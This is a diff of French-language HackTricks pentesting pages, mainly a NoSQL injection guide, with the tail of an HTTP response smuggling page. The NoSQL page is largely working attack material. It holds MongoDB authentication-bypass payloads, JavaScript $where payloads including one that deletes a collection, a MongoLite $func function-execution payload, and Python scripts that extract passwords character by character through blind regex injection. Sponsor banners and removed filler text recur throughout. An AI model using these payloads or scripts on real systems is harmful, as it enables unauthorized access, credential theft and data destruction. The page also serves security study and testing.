Après que la première requête soit résolue et renvoyée à l'attaquant, la **requête de la victime est ajoutée dans la file d'attente** :
|
||||
|
||||
![](<../.gitbook/assets/image (661) (1) (1) (1).png>)
|
||||
|
||||
La victime recevra comme réponse la **réponse HEAD + le contenu de la réponse de la deuxième requête (contenant une partie des données reflétées) :**
|
||||
|
||||
![](<../.gitbook/assets/image (633) (1).png>)
|
||||
|
||||
Cependant, notez comment les **données reflétées avaient une taille selon le Content-Length** de la **réponse HEAD** qui **a généré une réponse HTTP valide dans la file d'attente des réponses**.
|
||||
|
||||
Par conséquent, la **prochaine requête de la deuxième victime** va **recevoir** comme **réponse quelque chose complètement fabriqué par l'attaquant**. Comme la réponse est complètement fabriquée par l'attaquant, il peut aussi **faire en sorte que le proxy mette la réponse en cache**.
|
||||
|
||||
Une autre **différence intéressante** avec le Smuggling de requêtes HTTP commun est que, dans une attaque de contrebande de réponse HTTP commune, l'**objectif** est de **modifier le début de la requête de la victime**
|
||||
## Références
|
||||
|
||||
* N'oubliez pas de regarder cette vidéo qui explique très bien toutes ces techniques: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)
|
||||
* N'oubliez pas de regarder cette vidéo expliquant toutes ces techniques très bien : [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,34 @@
|
|||
# Injection NoSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Les bases de données NoSQL offrent des restrictions de cohérence moins strictes que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages en termes de performances et de mise à l'échelle. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.
|
||||
Les bases de données NoSQL offrent des restrictions de cohérence plus souples que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages en termes de performance et d'évolutivité. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.
|
||||
|
||||
## Exploitation
|
||||
## Exploit
|
||||
|
||||
En PHP, vous pouvez envoyer un tableau en modifiant le paramètre envoyé de _parameter=foo_ à _parameter\[arrName]=foo._
|
||||
En PHP, vous pouvez envoyer un tableau en changeant le paramètre envoyé de _parameter=foo_ à _parameter\[arrName]=foo._
|
||||
|
||||
Les exploits sont basés sur l'ajout d'un **opérateur** :
|
||||
Les exploits sont basés sur l'ajout d'un **Opérateur** :
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
|
@ -39,7 +41,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
|
|||
```
|
||||
### Contournement de l'authentification de base
|
||||
|
||||
**Utilisation de la négation ($ne) ou de la supériorité ($gt)**
|
||||
**Utilisation de non égal ($ne) ou supérieur ($gt)**
|
||||
```bash
|
||||
#in URL
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
|
@ -52,89 +54,17 @@ username[$exists]=true&password[$exists]=true
|
|||
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
---
|
||||
|
||||
#### **NoSQL Injection**
|
||||
|
||||
---
|
||||
|
||||
NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.
|
||||
|
||||
NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.
|
||||
|
||||
#### **Types of NoSQL Injection**
|
||||
|
||||
---
|
||||
|
||||
There are several types of NoSQL injection attacks that can be performed against a MongoDB database:
|
||||
|
||||
1. **Boolean-based injection**: This type of injection relies on the ability to manipulate the query in order to force a true or false condition. By exploiting this vulnerability, an attacker can retrieve sensitive information or perform unauthorized actions.
|
||||
|
||||
2. **Time-based injection**: In a time-based injection attack, an attacker is able to delay the response from the database in order to extract information. By carefully crafting the query, an attacker can determine if a condition is true or false based on the response time.
|
||||
|
||||
3. **Union-based injection**: Union-based injection involves injecting a query that combines the results of two or more queries into a single result set. This can be used to retrieve data from multiple collections or perform unauthorized actions.
|
||||
|
||||
#### **Preventing NoSQL Injection**
|
||||
|
||||
---
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to follow secure coding practices:
|
||||
|
||||
1. **Input validation**: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input matches the expected data type.
|
||||
|
||||
2. **Parameterized queries**: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by ensuring that user input is treated as data and not as part of the query.
|
||||
|
||||
3. **Least privilege principle**: Ensure that the database user account used by the application has the minimum privileges necessary to perform its intended functions. This helps limit the potential impact of an injection attack.
|
||||
|
||||
4. **Regular updates**: Keep the database software and drivers up to date with the latest security patches. This helps protect against known vulnerabilities that could be exploited by attackers.
|
||||
|
||||
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access or manipulation.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00
|
||||
```
|
||||
### Extraire les informations de **longueur**
|
||||
|
||||
L'injection NoSQL peut être utilisée pour extraire des informations sur la longueur des données stockées dans une base de données NoSQL. Cela peut être utile lors de la recherche de vulnérabilités ou de la collecte d'informations sur la structure de la base de données.
|
||||
|
||||
Pour extraire les informations de longueur, vous pouvez utiliser l'opérateur `$regex` avec une expression régulière qui correspond à la longueur souhaitée. Par exemple, pour extraire les informations sur la longueur d'une chaîne de caractères, vous pouvez utiliser l'expression régulière `^.{n}$`, où `n` est la longueur souhaitée.
|
||||
|
||||
Voici un exemple de requête d'injection NoSQL pour extraire les informations de longueur d'une chaîne de caractères :
|
||||
|
||||
```plaintext
|
||||
GET /api/users?username[$regex]=^.{n}$
|
||||
```
|
||||
|
||||
Remplacez `n` par la longueur souhaitée. Si la réponse de la requête est différente de celle obtenue normalement, cela indique que la longueur de la chaîne de caractères est égale à `n`.
|
||||
|
||||
Il est important de noter que l'injection NoSQL peut être dangereuse et doit être effectuée avec précaution. Assurez-vous de disposer des autorisations appropriées et de respecter les lois et réglementations en vigueur avant de procéder à des tests d'injection NoSQL.
|
||||
### Extraire des informations sur la **longueur**
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
# True if the length equals 1,3...
|
||||
```
|
||||
### Extraire les informations **data**
|
||||
|
||||
Les attaques d'injection NoSQL sont similaires aux attaques d'injection SQL, mais elles ciblent les bases de données NoSQL. Ces attaques exploitent les vulnérabilités dans les requêtes NoSQL pour extraire des informations sensibles ou effectuer des opérations non autorisées.
|
||||
|
||||
L'injection NoSQL peut se produire lorsque les entrées utilisateur ne sont pas correctement validées ou échappées avant d'être utilisées dans une requête NoSQL. Les attaquants peuvent alors manipuler les requêtes pour contourner les mécanismes de sécurité et accéder à des données auxquelles ils ne devraient pas avoir accès.
|
||||
|
||||
Pour extraire des informations à partir d'une base de données NoSQL, les attaquants peuvent utiliser des opérateurs spéciaux tels que `$ne`, `$gt`, `$gte`, `$lt`, `$lte`, `$in`, `$nin`, etc. Ces opérateurs permettent de filtrer les résultats de la requête et d'obtenir des informations supplémentaires.
|
||||
|
||||
Par exemple, supposons qu'un site Web utilise une base de données NoSQL pour stocker les informations utilisateur. Lorsqu'un utilisateur se connecte, le site vérifie les informations d'identification en effectuant une requête NoSQL. Si les entrées utilisateur ne sont pas correctement validées, un attaquant peut utiliser une injection NoSQL pour contourner le processus d'authentification et extraire les informations d'autres utilisateurs.
|
||||
|
||||
Voici un exemple de requête NoSQL vulnérable :
|
||||
|
||||
```javascript
|
||||
db.users.find({ username: 'admin', password: { $ne: 'password' } })
|
||||
```
|
||||
|
||||
Dans cet exemple, l'opérateur `$ne` est utilisé pour vérifier si le mot de passe n'est pas égal à "password". Un attaquant peut utiliser une injection NoSQL pour modifier cette requête et extraire toutes les informations de la base de données, y compris les mots de passe des utilisateurs.
|
||||
|
||||
Pour se protéger contre les attaques d'injection NoSQL, il est essentiel de valider et d'échapper correctement les entrées utilisateur avant de les utiliser dans une requête NoSQL. Les frameworks et les bibliothèques de développement peuvent fournir des fonctions de validation et d'échappement pour aider à prévenir ces vulnérabilités.
|
||||
|
||||
En résumé, les attaques d'injection NoSQL peuvent être utilisées pour extraire des informations sensibles à partir de bases de données NoSQL. Il est important de mettre en place des mesures de sécurité appropriées pour prévenir ces attaques, telles que la validation et l'échappement des entrées utilisateur.
|
||||
### Extraire des informations sur les **données**
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
|
@ -153,44 +83,6 @@ in JSON
|
|||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
---
|
||||
|
||||
#### **NoSQL Injection**
|
||||
|
||||
---
|
||||
|
||||
NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.
|
||||
|
||||
NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.
|
||||
|
||||
#### **Types of NoSQL Injection**
|
||||
|
||||
---
|
||||
|
||||
There are several types of NoSQL injection attacks that can be performed against a MongoDB database:
|
||||
|
||||
1. **Query Manipulation**: In this type of attack, the attacker manipulates the query parameters to modify the behavior of the query. For example, the attacker may be able to bypass authentication by modifying the query to always return true.
|
||||
|
||||
2. **Command Injection**: In command injection attacks, the attacker is able to inject additional commands into the query. This can allow the attacker to execute arbitrary commands on the database server.
|
||||
|
||||
3. **JavaScript Injection**: MongoDB allows the use of JavaScript in queries. An attacker can exploit this feature by injecting malicious JavaScript code into the query, which can lead to unauthorized data retrieval or code execution.
|
||||
|
||||
#### **Preventing NoSQL Injection**
|
||||
|
||||
---
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to follow secure coding practices:
|
||||
|
||||
1. **Input Validation**: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input is of the expected type.
|
||||
|
||||
2. **Parameterized Queries**: Use parameterized queries or prepared statements to ensure that user input is properly escaped and treated as data, rather than executable code.
|
||||
|
||||
3. **Least Privilege**: Ensure that the database user account used by the application has the least privilege necessary to perform its intended functions. This can help limit the potential impact of an injection attack.
|
||||
|
||||
4. **Secure Configuration**: Follow secure configuration practices for your NoSQL database, such as disabling unnecessary features and enabling authentication and access controls.
|
||||
|
||||
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access or manipulation.
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
|
@ -202,17 +94,17 @@ By following these best practices, you can significantly reduce the risk of NoSQ
|
|||
...
|
||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||
```
|
||||
### Exécution arbitraire de fonction PHP
|
||||
### Exécution de fonction arbitraire en PHP
|
||||
|
||||
En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il est possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
![](<../.gitbook/assets/image (468).png>)
|
||||
|
||||
### Obtenir des informations à partir de différentes collections
|
||||
### Obtenir des informations d'une collection différente
|
||||
|
||||
Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une **collection différente** appelée **`users`** et obtenons les **résultats de toutes les entrées** avec un mot de passe correspondant à un caractère générique.
|
||||
Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) pour obtenir des informations d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une **collection différente** appelée **`users`** et obtenons **les résultats de toutes les entrées** avec un mot de passe correspondant à un joker.
|
||||
```json
|
||||
[
|
||||
{
|
||||
|
@ -231,15 +123,15 @@ Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/ref
|
|||
}
|
||||
]
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Injection NoSQL aveugle
|
||||
## NoSQL aveugle
|
||||
```python
|
||||
import requests, string
|
||||
|
||||
|
@ -275,59 +167,7 @@ if 'OK' in r.text:
|
|||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
## Charges MongoDB
|
||||
|
||||
Les injections NoSQL peuvent également être utilisées pour attaquer les bases de données MongoDB. Voici quelques exemples de charges utiles pour les injections NoSQL dans MongoDB :
|
||||
|
||||
### Récupérer toutes les données de la base de données
|
||||
|
||||
```javascript
|
||||
username[$ne]=null&password[$ne]=null
|
||||
```
|
||||
|
||||
Cette charge utile récupère toutes les données de la base de données en exploitant la vulnérabilité de l'opérateur `$ne` (différent de) dans MongoDB.
|
||||
|
||||
### Récupérer les informations d'un utilisateur spécifique
|
||||
|
||||
```javascript
|
||||
username[$eq]=<username>&password[$ne]=null
|
||||
```
|
||||
|
||||
Cette charge utile récupère les informations d'un utilisateur spécifique en exploitant l'opérateur `$eq` (égal à) dans MongoDB.
|
||||
|
||||
### Contourner l'authentification
|
||||
|
||||
```javascript
|
||||
username[$ne]=null&password[$regex]=.*
|
||||
```
|
||||
|
||||
Cette charge utile contourne l'authentification en utilisant l'opérateur `$regex` (expression régulière) pour correspondre à n'importe quelle valeur de mot de passe.
|
||||
|
||||
### Injection de code JavaScript
|
||||
|
||||
```javascript
|
||||
username[$ne]=null&$where=javascript_code
|
||||
```
|
||||
|
||||
Cette charge utile permet l'injection de code JavaScript en utilisant l'opérateur `$where` dans MongoDB.
|
||||
|
||||
### Récupérer les informations de la base de données
|
||||
|
||||
```javascript
|
||||
username[$ne]=null&$where=function() { return db.collectionName.find().forEach(printjson); }
|
||||
```
|
||||
|
||||
Cette charge utile récupère les informations de la base de données en utilisant l'opérateur `$where` pour exécuter une fonction JavaScript qui imprime les résultats de la recherche.
|
||||
|
||||
### Supprimer des données de la base de données
|
||||
|
||||
```javascript
|
||||
username[$ne]=null&$where=function() { return db.collectionName.remove({}); }
|
||||
```
|
||||
|
||||
Cette charge utile supprime toutes les données de la base de données en utilisant l'opérateur `$where` pour exécuter une fonction JavaScript qui supprime tous les documents de la collection spécifiée.
|
||||
|
||||
Il est important de noter que ces charges utiles sont fournies à titre d'exemple et peuvent nécessiter des ajustements en fonction de la structure de la base de données cible.
|
||||
## Charges utiles MongoDB
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
|
@ -352,9 +192,9 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||
|
||||
### Force brute des noms d'utilisateur et des mots de passe à partir de la connexion POST
|
||||
### Forcer brutalement les noms d'utilisateur et les mots de passe à partir d'une connexion POST
|
||||
|
||||
Il s'agit d'un script simple que vous pouvez modifier, mais les outils précédents peuvent également effectuer cette tâche.
|
||||
Il s'agit d'un script simple que vous pourriez modifier, mais les outils précédents peuvent également accomplir cette tâche.
|
||||
```python
|
||||
import requests
|
||||
import string
|
||||
|
@ -412,20 +252,22 @@ get_password(u)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,142 +2,144 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
